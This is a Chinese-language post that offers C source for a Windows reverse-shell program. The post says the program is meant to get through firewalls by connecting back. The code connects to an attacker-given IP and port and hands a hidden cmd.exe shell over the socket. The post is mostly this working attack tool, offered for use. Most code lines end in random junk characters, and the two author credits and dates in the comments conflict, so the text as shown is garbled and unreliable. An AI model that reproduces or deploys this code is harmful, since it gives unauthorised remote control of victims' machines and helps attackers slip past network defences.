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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 VDu .L8  
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/* ============================== q,,>:]f#  
Rebound port in Windows NT $s(4?^GP  
By wind,2006/7 qTa]th;  
===============================*/ b}*@=X=4o  
#include ))69a  
#include ])ALAAIc-  
GE8D3V;*V  
#pragma comment(lib,"wsock32.lib") {L-aXe{  
b}?@syy8  
void OutputShell(); Gp3nR<+  
SOCKET sClient; `ToRkk&&>{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; k1Mxsd  
GgpQ]rw  
void main(int argc,char **argv) #b"5L2D`y'  
{ qqt.nrQ^  
WSADATA stWsaData; 0jJ28.kOp  
int nRet; zTBi{KrZ  
SOCKADDR_IN stSaiClient,stSaiServer; wI]R+.  
k E#_Pc  
if(argc != 3) b^l -*4  
{ ;$tv8%_L[  
printf("Useage:\n\rRebound DestIP DestPort\n"); q~' K9  
return; Jyz$&jqyr'  
} EBDC'^  
5IE+M  
WSAStartup(MAKEWORD(2,2),&stWsaData); uM#U!  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q%kj[ZOY$]  
6(q`Oj  
stSaiClient.sin_family = AF_INET; o|^?IQ7bpf  
stSaiClient.sin_port = htons(0); 3VRZM@i  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Eagmafu  
B-ri}PA  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ZaUcP6[h  
{ ?m9UhLeaS=  
printf("Bind Socket Failed!\n"); Va/@#=,q]  
return; K,C $J I  
} ^2;(2s  
pW3)Y5/D  
stSaiServer.sin_family = AF_INET; @a.6?.<L  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3e!Yu.q:  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &DbGyV8d"|  
F<oc Y0=9p  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) fCt\2);a  
{ dj y:  
printf("Connect Error!"); leb^,1/D6  
return; zmL~]! ~&  
} K7[AiU_I  
OutputShell(); {sfmWVp  
} il>x!)?o  
nzE,F\k  
void OutputShell() wUIsi<Oj  
{ H?=pWB  
char szBuff[1024]; ReB(T7Vk=  
SECURITY_ATTRIBUTES stSecurityAttributes; k}f<'g<H  
OSVERSIONINFO stOsversionInfo; VNxpOoV=S  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; A"bSNHCKF  
STARTUPINFO stStartupInfo; ]2xx+P#Y  
char *szShell; 5;K-,"UQ  
PROCESS_INFORMATION stProcessInformation; @cS1w'=  
unsigned long lBytesRead; sx-Hw4.a"  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ><#2O  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); J^g,jBk  
stSecurityAttributes.lpSecurityDescriptor = 0; 0,~6TV<K  
stSecurityAttributes.bInheritHandle = TRUE; GOZQ5m -  
q(jkit~`A  
FQ_%)Ty2  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [N+ m5{tT  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6L:tr LuQ  
}4\!7]FVYX  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \%-E"[!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C$'D]fX  
stStartupInfo.wShowWindow = SW_HIDE; fZw9zqg  
stStartupInfo.hStdInput = hReadPipe; z3vsz  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; MKVfy:g%So  
)4'x7Qg/  
GetVersionEx(&stOsversionInfo); ~3'OiIw1@  
dxkRk#mf:  
switch(stOsversionInfo.dwPlatformId) e$ XY\{  
{ 22al  
case 1: ;Oi[:Ck  
szShell = "command.com"; Hn#GS9d_?  
break; "J8;4p  
default: ;Txv -lfS  
szShell = "cmd.exe"; u6iU[5  
break; (/"K+$8'  
} nI`f_sp  
wZo.ynXT  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~<2 IIR$H  
5M<' A=  
send(sClient,szMsg,77,0); ^8';8+$  
while(1) $IxU6=ajn  
{ #90[PASx  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); jIx8k8  
if(lBytesRead)  ^6)GS%R  
{ m{b ZRkt  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); jSwtf  
send(sClient,szBuff,lBytesRead,0); 5q(]1|Se i  
} Z#OhYm+y  
else  /i-xX*  
{ WNn[L=f  
lBytesRead=recv(sClient,szBuff,1024,0); o[bE  
if(lBytesRead<=0) break; 96"yNqBf  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); V9fGVDl;  
} ;0w^ud  
} <fC@KY>#  
S' (cqO}=F  
return; @)W(q5)}9"  
}
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